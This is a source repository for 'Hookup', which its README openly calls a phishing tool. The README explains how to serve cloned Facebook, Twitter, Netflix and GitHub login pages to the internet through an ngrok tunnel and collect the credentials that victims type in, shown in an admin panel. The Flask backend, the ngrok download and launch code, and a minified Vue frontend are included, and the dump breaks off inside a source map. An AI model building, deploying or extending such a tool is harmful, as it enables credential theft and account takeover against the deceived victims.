├── .gitattributes
├── .gitignore
├── LICENSE
├── Pipfile
├── Pipfile.lock
├── README.md
├── hookup
├── __init__.py
├── cli.py
├── flask_ngrok.py
├── hookup-frontend
│ ├── README.md
│ ├── babel.config.js
│ ├── dist
│ │ ├── css
│ │ │ ├── app.8d1078ab.css
│ │ │ └── chunk-vendors.b1534e07.css
│ │ ├── favicon.ico
│ │ ├── index.html
│ │ ├── js
│ │ │ ├── app.7ab9cc7e.js
│ │ │ ├── app.7ab9cc7e.js.map
│ │ │ ├── chunk-vendors.7c9d1363.js
│ │ │ └── chunk-vendors.7c9d1363.js.map
│ │ └── logo.svg
│ ├── electron.js
│ ├── package-lock.json
│ ├── package.json
│ ├── public
│ │ ├── favicon.ico
│ │ ├── index.html
│ │ └── logo.svg
│ └── src
│ │ ├── App.vue
│ │ ├── assets
│ │ └── logo.png
│ │ ├── components
│ │ ├── Mainscreen.vue
│ │ └── pages
│ │ │ ├── About.vue
│ │ │ ├── AddSite.vue
│ │ │ ├── ConfigureScreen.vue
│ │ │ └── Result.vue
│ │ ├── main.js
│ │ ├── router
│ │ └── index.js
│ │ └── services
│ │ ├── api.js
│ │ └── endpoints.js
├── models.py
├── templates
│ └── login.html
├── uploads
│ ├── .keep
│ ├── facebook.html
│ ├── facebook_2.html
│ ├── github.html
│ ├── github_2.html
│ ├── netflix.html
│ ├── netflix_2.html
│ ├── twitter.html
│ └── twitter_2.html
├── utils.py
└── views.py
├── requirements.txt
└── run.py
/.gitattributes:
--------------------------------------------------------------------------------
1 | hookup/uploads/* linguist-vendored
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | downloads/
14 | node_modules/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 |
131 | .vscode
132 |
133 | *.db
134 |
135 | !hookup/hookup-frontend/dist/*
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Bufgix
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Pipfile:
--------------------------------------------------------------------------------
1 | [[source]]
2 | name = "pypi"
3 | url = "https://pypi.org/simple"
4 | verify_ssl = true
5 |
6 | [dev-packages]
7 | autopep8 = "*"
8 |
9 | [packages]
10 | flask = "*"
11 | flask-restful = "*"
12 | flask-sqlalchemy = "*"
13 | flask-login = "*"
14 | requests = "*"
15 | flask-cors = "*"
16 | gitpython = "*"
17 |
--------------------------------------------------------------------------------
/Pipfile.lock:
--------------------------------------------------------------------------------
1 | {
2 | "_meta": {
3 | "hash": {
4 | "sha256": "71c42c57ecb6321dd5849cb9ddda984d7bda5b1d6bec123feb49f9830cf8a89a"
5 | },
6 | "pipfile-spec": 6,
7 | "requires": {},
8 | "sources": [
9 | {
10 | "name": "pypi",
11 | "url": "https://pypi.org/simple",
12 | "verify_ssl": true
13 | }
14 | ]
15 | },
16 | "default": {
17 | "aniso8601": {
18 | "hashes": [
19 | "sha256:529dcb1f5f26ee0df6c0a1ee84b7b27197c3c50fc3a6321d66c544689237d072",
20 | "sha256:c033f63d028b9a58e3ab0c2c7d0532ab4bfa7452bfc788fbfe3ddabd327b181a"
21 | ],
22 | "version": "==8.0.0"
23 | },
24 | "certifi": {
25 | "hashes": [
26 | "sha256:017c25db2a153ce562900032d5bc68e9f191e44e9a0f762f373977de9df1fbb3",
27 | "sha256:25b64c7da4cd7479594d035c08c2d809eb4aab3a26e5a990ea98cc450c320f1f"
28 | ],
29 | "version": "==2019.11.28"
30 | },
31 | "chardet": {
32 | "hashes": [
33 | "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
34 | "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
35 | ],
36 | "version": "==3.0.4"
37 | },
38 | "click": {
39 | "hashes": [
40 | "sha256:2335065e6395b9e67ca716de5f7526736bfa6ceead690adf616d925bdc622b13",
41 | "sha256:5b94b49521f6456670fdb30cd82a4eca9412788a93fa6dd6df72c94d5a8ff2d7"
42 | ],
43 | "version": "==7.0"
44 | },
45 | "flask": {
46 | "hashes": [
47 | "sha256:13f9f196f330c7c2c5d7a5cf91af894110ca0215ac051b5844701f2bfd934d52",
48 | "sha256:45eb5a6fd193d6cf7e0cf5d8a5b31f83d5faae0293695626f539a823e93b13f6"
49 | ],
50 | "index": "pypi",
51 | "version": "==1.1.1"
52 | },
53 | "flask-cors": {
54 | "hashes": [
55 | "sha256:72170423eb4612f0847318afff8c247b38bd516b7737adfc10d1c2cdbb382d16",
56 | "sha256:f4d97201660e6bbcff2d89d082b5b6d31abee04b1b3003ee073a6fd25ad1d69a"
57 | ],
58 | "index": "pypi",
59 | "version": "==3.0.8"
60 | },
61 | "flask-login": {
62 | "hashes": [
63 | "sha256:c815c1ac7b3e35e2081685e389a665f2c74d7e077cb93cecabaea352da4752ec"
64 | ],
65 | "index": "pypi",
66 | "version": "==0.4.1"
67 | },
68 | "flask-restful": {
69 | "hashes": [
70 | "sha256:ecd620c5cc29f663627f99e04f17d1f16d095c83dc1d618426e2ad68b03092f8",
71 | "sha256:f8240ec12349afe8df1db168ea7c336c4e5b0271a36982bff7394f93275f2ca9"
72 | ],
73 | "index": "pypi",
74 | "version": "==0.3.7"
75 | },
76 | "flask-sqlalchemy": {
77 | "hashes": [
78 | "sha256:0078d8663330dc05a74bc72b3b6ddc441b9a744e2f56fe60af1a5bfc81334327",
79 | "sha256:6974785d913666587949f7c2946f7001e4fa2cb2d19f4e69ead02e4b8f50b33d"
80 | ],
81 | "index": "pypi",
82 | "version": "==2.4.1"
83 | },
84 | "gitdb2": {
85 | "hashes": [
86 | "sha256:1b6df1433567a51a4a9c1a5a0de977aa351a405cc56d7d35f3388bad1f630350",
87 | "sha256:96bbb507d765a7f51eb802554a9cfe194a174582f772e0d89f4e87288c288b7b"
88 | ],
89 | "version": "==2.0.6"
90 | },
91 | "gitpython": {
92 | "hashes": [
93 | "sha256:9c2398ffc3dcb3c40b27324b316f08a4f93ad646d5a6328cafbb871aa79f5e42",
94 | "sha256:c155c6a2653593ccb300462f6ef533583a913e17857cfef8fc617c246b6dc245"
95 | ],
96 | "index": "pypi",
97 | "version": "==3.0.5"
98 | },
99 | "idna": {
100 | "hashes": [
101 | "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407",
102 | "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c"
103 | ],
104 | "version": "==2.8"
105 | },
106 | "itsdangerous": {
107 | "hashes": [
108 | "sha256:321b033d07f2a4136d3ec762eac9f16a10ccd60f53c0c91af90217ace7ba1f19",
109 | "sha256:b12271b2047cb23eeb98c8b5622e2e5c5e9abd9784a153e9d8ef9cb4dd09d749"
110 | ],
111 | "version": "==1.1.0"
112 | },
113 | "jinja2": {
114 | "hashes": [
115 | "sha256:93187ffbc7808079673ef52771baa950426fd664d3aad1d0fa3e95644360e250",
116 | "sha256:b0eaf100007721b5c16c1fc1eecb87409464edc10469ddc9a22a27a99123be49"
117 | ],
118 | "version": "==2.11.1"
119 | },
120 | "markupsafe": {
121 | "hashes": [
122 | "sha256:00bc623926325b26bb9605ae9eae8a215691f33cae5df11ca5424f06f2d1f473",
123 | "sha256:09027a7803a62ca78792ad89403b1b7a73a01c8cb65909cd876f7fcebd79b161",
124 | "sha256:09c4b7f37d6c648cb13f9230d847adf22f8171b1ccc4d5682398e77f40309235",
125 | "sha256:1027c282dad077d0bae18be6794e6b6b8c91d58ed8a8d89a89d59693b9131db5",
126 | "sha256:13d3144e1e340870b25e7b10b98d779608c02016d5184cfb9927a9f10c689f42",
127 | "sha256:24982cc2533820871eba85ba648cd53d8623687ff11cbb805be4ff7b4c971aff",
128 | "sha256:29872e92839765e546828bb7754a68c418d927cd064fd4708fab9fe9c8bb116b",
129 | "sha256:43a55c2930bbc139570ac2452adf3d70cdbb3cfe5912c71cdce1c2c6bbd9c5d1",
130 | "sha256:46c99d2de99945ec5cb54f23c8cd5689f6d7177305ebff350a58ce5f8de1669e",
131 | "sha256:500d4957e52ddc3351cabf489e79c91c17f6e0899158447047588650b5e69183",
132 | "sha256:535f6fc4d397c1563d08b88e485c3496cf5784e927af890fb3c3aac7f933ec66",
133 | "sha256:596510de112c685489095da617b5bcbbac7dd6384aeebeda4df6025d0256a81b",
134 | "sha256:62fe6c95e3ec8a7fad637b7f3d372c15ec1caa01ab47926cfdf7a75b40e0eac1",
135 | "sha256:6788b695d50a51edb699cb55e35487e430fa21f1ed838122d722e0ff0ac5ba15",
136 | "sha256:6dd73240d2af64df90aa7c4e7481e23825ea70af4b4922f8ede5b9e35f78a3b1",
137 | "sha256:717ba8fe3ae9cc0006d7c451f0bb265ee07739daf76355d06366154ee68d221e",
138 | "sha256:79855e1c5b8da654cf486b830bd42c06e8780cea587384cf6545b7d9ac013a0b",
139 | "sha256:7c1699dfe0cf8ff607dbdcc1e9b9af1755371f92a68f706051cc8c37d447c905",
140 | "sha256:88e5fcfb52ee7b911e8bb6d6aa2fd21fbecc674eadd44118a9cc3863f938e735",
141 | "sha256:8defac2f2ccd6805ebf65f5eeb132adcf2ab57aa11fdf4c0dd5169a004710e7d",
142 | "sha256:98c7086708b163d425c67c7a91bad6e466bb99d797aa64f965e9d25c12111a5e",
143 | "sha256:9add70b36c5666a2ed02b43b335fe19002ee5235efd4b8a89bfcf9005bebac0d",
144 | "sha256:9bf40443012702a1d2070043cb6291650a0841ece432556f784f004937f0f32c",
145 | "sha256:ade5e387d2ad0d7ebf59146cc00c8044acbd863725f887353a10df825fc8ae21",
146 | "sha256:b00c1de48212e4cc9603895652c5c410df699856a2853135b3967591e4beebc2",
147 | "sha256:b1282f8c00509d99fef04d8ba936b156d419be841854fe901d8ae224c59f0be5",
148 | "sha256:b2051432115498d3562c084a49bba65d97cf251f5a331c64a12ee7e04dacc51b",
149 | "sha256:ba59edeaa2fc6114428f1637ffff42da1e311e29382d81b339c1817d37ec93c6",
150 | "sha256:c8716a48d94b06bb3b2524c2b77e055fb313aeb4ea620c8dd03a105574ba704f",
151 | "sha256:cd5df75523866410809ca100dc9681e301e3c27567cf498077e8551b6d20e42f",
152 | "sha256:cdb132fc825c38e1aeec2c8aa9338310d29d337bebbd7baa06889d09a60a1fa2",
153 | "sha256:e249096428b3ae81b08327a63a485ad0878de3fb939049038579ac0ef61e17e7",
154 | "sha256:e8313f01ba26fbbe36c7be1966a7b7424942f670f38e666995b88d012765b9be"
155 | ],
156 | "version": "==1.1.1"
157 | },
158 | "pytz": {
159 | "hashes": [
160 | "sha256:1c557d7d0e871de1f5ccd5833f60fb2550652da6be2693c1e02300743d21500d",
161 | "sha256:b02c06db6cf09c12dd25137e563b31700d3b80fcc4ad23abb7a315f2789819be"
162 | ],
163 | "version": "==2019.3"
164 | },
165 | "requests": {
166 | "hashes": [
167 | "sha256:11e007a8a2aa0323f5a921e9e6a2d7e4e67d9877e85773fba9ba6419025cbeb4",
168 | "sha256:9cf5292fcd0f598c671cfc1e0d7d1a7f13bb8085e9a590f48c010551dc6c4b31"
169 | ],
170 | "index": "pypi",
171 | "version": "==2.22.0"
172 | },
173 | "six": {
174 | "hashes": [
175 | "sha256:236bdbdce46e6e6a3d61a337c0f8b763ca1e8717c03b369e87a7ec7ce1319c0a",
176 | "sha256:8f3cd2e254d8f793e7f3d6d9df77b92252b52637291d0f0da013c76ea2724b6c"
177 | ],
178 | "version": "==1.14.0"
179 | },
180 | "smmap2": {
181 | "hashes": [
182 | "sha256:0555a7bf4df71d1ef4218e4807bbf9b201f910174e6e08af2e138d4e517b4dde",
183 | "sha256:29a9ffa0497e7f2be94ca0ed1ca1aa3cd4cf25a1f6b4f5f87f74b46ed91d609a"
184 | ],
185 | "version": "==2.0.5"
186 | },
187 | "sqlalchemy": {
188 | "hashes": [
189 | "sha256:64a7b71846db6423807e96820993fa12a03b89127d278290ca25c0b11ed7b4fb"
190 | ],
191 | "version": "==1.3.13"
192 | },
193 | "urllib3": {
194 | "hashes": [
195 | "sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc",
196 | "sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc"
197 | ],
198 | "version": "==1.25.8"
199 | },
200 | "werkzeug": {
201 | "hashes": [
202 | "sha256:1e0dedc2acb1f46827daa2e399c1485c8fa17c0d8e70b6b875b4e7f54bf408d2",
203 | "sha256:b353856d37dec59d6511359f97f6a4b2468442e454bd1c98298ddce53cac1f04"
204 | ],
205 | "version": "==0.16.1"
206 | }
207 | },
208 | "develop": {
209 | "autopep8": {
210 | "hashes": [
211 | "sha256:0f592a0447acea0c2b0a9602be1e4e3d86db52badd2e3c84f0193bfd89fd3a43"
212 | ],
213 | "index": "pypi",
214 | "version": "==1.5"
215 | },
216 | "pycodestyle": {
217 | "hashes": [
218 | "sha256:95a2219d12372f05704562a14ec30bc76b05a5b297b21a5dfe3f6fac3491ae56",
219 | "sha256:e40a936c9a450ad81df37f549d676d127b1b66000a6c500caa2b085bc0ca976c"
220 | ],
221 | "version": "==2.5.0"
222 | }
223 | }
224 | }
225 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
Welcome to Hookup 💻
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 | > New generation phishing tool.
12 |
13 |
14 |
15 | A phishing tool that is written in Python and VueJS
16 |
17 | ## Installation 📀
18 |
19 | ### Step 1
20 | ---
21 | Launch your terminal
22 |
23 | ```bash
24 | λ git clone https://github.com/bufgix/hookup
25 | λ cd hookup
26 | ```
27 |
28 | Install dependencies with `pip`
29 |
30 | ```bash
31 | λ pip install -r requirements.txt
32 | ```
33 |
34 |
35 | ### Step 2
36 | ---
37 |
38 | Run phishing and GUI server. If you have never launched the program before, it will ask for username and password.
39 |
40 | ```
41 | λ python run.py
42 | Username: bufgix
43 | Password
44 | [+] Done
45 | * Serving Flask app "hookup" (lazy loading)
46 | * Environment: production
47 | WARNING: This is a development server. Do not use it in a production deployment.
48 | Use a production WSGI server instead.
49 | * Debug mode: on
50 | * Restarting with stat
51 | ```
52 |
53 | If everything is ok, you'll see the ngrok page which is shown below
54 | 
55 |
56 | And now, open your favorite browser then type `http://localhost:5000/adminpage` for the control panel.
57 |
58 | ## Usage 👨💻
59 | ---
60 |
61 | 
62 |
63 | Login with your username and password (you set them on step 2)
64 |
65 | #### Configure
66 | 
67 |
68 | On the configuration panel, you'll see that some fake pages have been already set up. Select the one for your use. "Current Page" part contains the data that victim will see.
69 |
70 | ### Results
71 | 
72 | The ngrok URL publishes your local server to the internet. You can get your fake page's URL at the top right corner of the screen(the part which says "Ngrok Url: ".). If your victim types their credientals correctly and pushes the send button, you'll handle the POST payload and results will be shown like the image above.
73 |
74 |
75 |
76 | ## Author
77 |
78 | 👤 **bufgix**
79 |
80 | * Website: http://bufgix.space
81 | * Twitter: [@bufgix](https://twitter.com/bufgix)
82 | * Github: [@bufgix](https://github.com/bufgix)
83 |
84 | ## Show your support
85 |
86 | Give a ⭐️ if this project helped you!
87 |
88 | ***
89 |
--------------------------------------------------------------------------------
/hookup/__init__.py:
--------------------------------------------------------------------------------
1 | from hookup.utils import PROJECT_DIR
2 | from hookup.flask_ngrok import run_with_ngrok
3 |
4 | from flask import Flask, render_template, request
5 | from flask_cors import CORS
6 | from flask_sqlalchemy import SQLAlchemy
7 | from flask_login import LoginManager
8 | import pathlib
9 | import jinja2
10 |
11 |
12 | __version__ = "v1.2.0"
13 | __version_client__ = "v1.1.0"
14 |
15 | static_folder = PROJECT_DIR / 'hookup-frontend' / 'dist'
16 | upload_folder = PROJECT_DIR / 'uploads'
17 |
18 | app = Flask(__name__, static_folder=static_folder, static_url_path="/")
19 |
20 | app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///42.db"
21 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
22 | app.config['SECRET_KEY'] = "8c74a213d30f874095c630af"
23 | app.config['UPLOAD_FOLDER'] = upload_folder
24 | app.url_map.strict_slashes = False
25 | CORS(app, resources={r"/api/*": {"origins": "*"}})
26 |
27 | db = SQLAlchemy(app)
28 | login_manager = LoginManager(app)
29 | login_manager.login_view = "login"
30 |
31 |
32 | ## Added front end templates
33 | template_dir = PROJECT_DIR / 'hookup-frontend' / 'dist'
34 | template_loader = jinja2.ChoiceLoader([
35 | app.jinja_loader,
36 | jinja2.FileSystemLoader(str(template_dir))
37 | ])
38 |
39 | app.jinja_loader = template_loader
40 |
41 | from hookup.views import *
42 |
43 |
44 | def start_server():
45 | run_with_ngrok(app)
46 | app.run(debug=True, host="0.0.0.0")
47 |
--------------------------------------------------------------------------------
/hookup/cli.py:
--------------------------------------------------------------------------------
1 | from hookup import db
2 | from hookup.models import Page, User
3 | import getpass
4 |
5 | DEFAULT_SITES = ["facebook", "twitter", "netflix", "github"]
6 |
7 | def create_superuser():
8 | username = input("Username: ")
9 | password = getpass.getpass("Password ")
10 | user = User(username=username, password=password)
11 | user.save()
12 |
13 | def register_sites(sites=DEFAULT_SITES):
14 | user = User.query.first()
15 | for site in sites:
16 | page = Page(name=site, source=f"{site}.html", stock=True)
17 | user.pages.append(page)
18 | user.save()
19 |
20 | def main():
21 | db.create_all()
22 | exists = User.query.first()
23 | if not exists:
24 | create_superuser()
25 | register_sites()
26 | print("[+] Done")
27 |
28 | if __name__ == '__main__':
29 | main()
30 |
31 |
--------------------------------------------------------------------------------
/hookup/flask_ngrok.py:
--------------------------------------------------------------------------------
1 | import atexit
2 | import json
3 | import os
4 | import platform
5 | import shutil
6 | import subprocess
7 | import tempfile
8 | import time
9 | import zipfile
10 | from pathlib import Path
11 | from threading import Timer
12 |
13 | import requests
14 |
15 |
16 | def _get_command():
17 | system = platform.system()
18 | if system == "Darwin":
19 | command = "ngrok"
20 | elif system == "Windows":
21 | command = "ngrok.exe"
22 | elif system == "Linux":
23 | command = "ngrok"
24 | else:
25 | raise Exception("{system} is not supported".format(system=system))
26 | return command
27 |
28 |
29 | def _run_ngrok(port):
30 | command = _get_command()
31 | ngrok_path = str(Path(tempfile.gettempdir(), "ngrok"))
32 | _download_ngrok(ngrok_path)
33 | executable = str(Path(ngrok_path, command))
34 | os.chmod(executable, 0o777)
35 | ngrok = subprocess.Popen([executable, 'http', str(port)])
36 | atexit.register(ngrok.terminate)
37 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details
38 | time.sleep(1)
39 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information
40 | j = json.loads(tunnel_url)
41 |
42 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get
43 | tunnel_url = tunnel_url.replace("https", "http")
44 | return tunnel_url
45 |
46 |
47 | def get_tunnel_url():
48 | localhost_url = "http://localhost:4040/api/tunnels" # Url with tunnel details
49 | # time.sleep(1)
50 | tunnel_url = requests.get(localhost_url).text # Get the tunnel information
51 | j = json.loads(tunnel_url)
52 |
53 | tunnel_url = j['tunnels'][0]['public_url'] # Do the parsing of the get
54 | tunnel_url = tunnel_url.replace("https", "http")
55 | return tunnel_url
56 |
57 |
58 | def _download_ngrok(ngrok_path):
59 | if Path(ngrok_path).exists():
60 | return
61 | system = platform.system()
62 | if system == "Darwin":
63 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-darwin-amd64.zip"
64 | elif system == "Windows":
65 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip"
66 | elif system == "Linux":
67 | if "ANDROID_DATA" in os.environ:
68 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip"
69 | else:
70 | url = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip"
71 | else:
72 | raise Exception(f"{system} is not supported")
73 | download_path = _download_file(url)
74 | with zipfile.ZipFile(download_path, "r") as zip_ref:
75 | zip_ref.extractall(ngrok_path)
76 |
77 |
78 | def _download_file(url):
79 | local_filename = url.split('/')[-1]
80 | r = requests.get(url, stream=True)
81 | download_path = str(Path(tempfile.gettempdir(), local_filename))
82 | with open(download_path, 'wb') as f:
83 | shutil.copyfileobj(r.raw, f)
84 | return download_path
85 |
86 |
87 | def start_ngrok(port):
88 | ngrok_address = _run_ngrok(port)
89 | print(f" * Running on {ngrok_address}")
90 | print(f" * Traffic stats available on http://127.0.0.1:4040")
91 |
92 |
93 | def run_with_ngrok(app):
94 | """
95 | The provided Flask app will be securely exposed to the public internet via ngrok when run,
96 | and the its ngrok address will be printed to stdout
97 | :param app: a Flask application object
98 | :return: None
99 | """
100 | old_run = app.run
101 |
102 | def new_run(*args, **kwargs):
103 | port = kwargs.get('port', 5000)
104 | thread = Timer(1, start_ngrok, args=(port,))
105 | thread.setDaemon(True)
106 | thread.start()
107 | old_run(*args, **kwargs)
108 | app.run = new_run
109 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/README.md:
--------------------------------------------------------------------------------
1 | # hookup-frontend
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Lints and fixes files
19 | ```
20 | npm run lint
21 | ```
22 |
23 | ### Customize configuration
24 | See [Configuration Reference](https://cli.vuejs.org/config/).
25 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/cli-plugin-babel/preset'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/css/app.8d1078ab.css:
--------------------------------------------------------------------------------
1 | .md-app-toolbar[data-v-7ceb330f]{background-color:#212121!important}.md-progress-bar[data-v-7ceb330f]{margin:24px;width:100px}.md-app[data-v-7ceb330f],.page-container[data-v-7ceb330f]{height:100%}.ngrok-link[data-v-7ceb330f]{background-color:#424242;padding:5px}#app{font-family:Asap,sans-serif;letter-spacing:.5px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-align:center;color:#2c3e50;height:100%;width:100%}.md-app{max-height:100%;border:1px solid rgba(0,0,0,.12)}.md-drawer{width:230px;max-width:calc(100vw - 125px)}.active{color:var(--md-theme-default-primary-on-background,#f8f4f4)!important;background-color:#212121}.active:hover{text-decoration:none}.md-card[data-v-e272a12a]{background-color:#212121;min-width:200px;padding:0;margin:0}.md-list-item .md-card[data-v-e272a12a]{width:100%}.dark-viewer[data-v-e272a12a]{background:#212121;white-space:nowrap;color:#eee;font-size:14px;font-family:Consolas,Menlo,Courier,monospace;clear:both}.dark-viewer .jv-ellipsis[data-v-e272a12a]{color:#999;background-color:#eee;display:inline-block;line-height:.9;font-size:.9em;padding:0 4px 2px 4px;border-radius:3px;vertical-align:2px;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.dark-viewer .jv-button[data-v-e272a12a]{color:#49b3ff}.dark-viewer .jv-item.jv-array[data-v-e272a12a],.dark-viewer .jv-key[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-boolean[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-function[data-v-e272a12a]{color:#067bca}.dark-viewer .jv-item.jv-number[data-v-e272a12a]{color:#fc1e70}.dark-viewer .jv-item.jv-object[data-v-e272a12a]{color:#111}.dark-viewer .jv-item.jv-undefined[data-v-e272a12a]{color:#e08331}.dark-viewer .jv-item.jv-string[data-v-e272a12a]{color:#42b983;word-wrap:break-word;overflow:hidden}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:before{padding:0 2px;border-radius:2px}.dark-viewer .jv-code .jv-toggle[data-v-e272a12a]:hover:before{background:#eee}.md-card[data-v-7626944a]{background-color:#212121}.md-title[data-v-7626944a]{margin-bottom:10px}.md-textarea[data-v-7626944a]{font-family:Roboto Mono,monospace;min-height:200px}.md-snackbar[data-v-7626944a]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{background-color:#212121}.md-table+.md-table[data-v-2168d7e0]{margin-top:16px}.md-snackbar[data-v-2168d7e0]{background-color:#212121;color:#f0f8ff}.md-card[data-v-2168d7e0]{max-height:1000px}.md-textarea[data-v-2168d7e0]{height:900px}.md-card[data-v-a06afa1e]{height:100%;background-color:#212121}.md-card .md-layout-item .md-layout[data-v-a06afa1e]{height:100%}.logo-box ul[data-v-a06afa1e]{list-style:none;padding:0;text-align:center}.logo-box ul li[data-v-a06afa1e]{margin:10px}.info-box ul[data-v-a06afa1e]{list-style-type:none;padding:0;text-align:left}.info-box li[data-v-a06afa1e]{font-size:16px;margin:10px 0 10px 0}.info-box li[data-v-a06afa1e]:before{content:"✔️ "}.info-box li span[data-v-a06afa1e]{color:#398aff;background-color:#141311;padding:2px 5px 2px 5px}
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/dist/favicon.ico
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/index.html:
--------------------------------------------------------------------------------
1 | Hook Up Panel We're sorry but hookup-frontend doesn't work properly without JavaScript enabled. Please enable it to continue.
--------------------------------------------------------------------------------
/hookup/hookup-frontend/dist/js/app.7ab9cc7e.js:
--------------------------------------------------------------------------------
1 | (function(t){function e(e){for(var r,i,c=e[0],o=e[1],u=e[2],d=0,m=[];d\r\n \r\n
\r\n \r\n Hook Up \r\n \r\n \r\n\r\n \r\n \r\n Panel \r\n \r\n\r\n \r\n \r\n \r\n remove_red_eye \r\n \r\n Configure \r\n \r\n \r\n \r\n\r\n \r\n \r\n add \r\n \r\n Add Page \r\n \r\n \r\n \r\n\r\n \r\n \r\n list \r\n \r\n Results \r\n \r\n \r\n \r\n \r\n \r\n info \r\n About \r\n \r\n \r\n \r\n exit_to_app \r\n Log out \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n
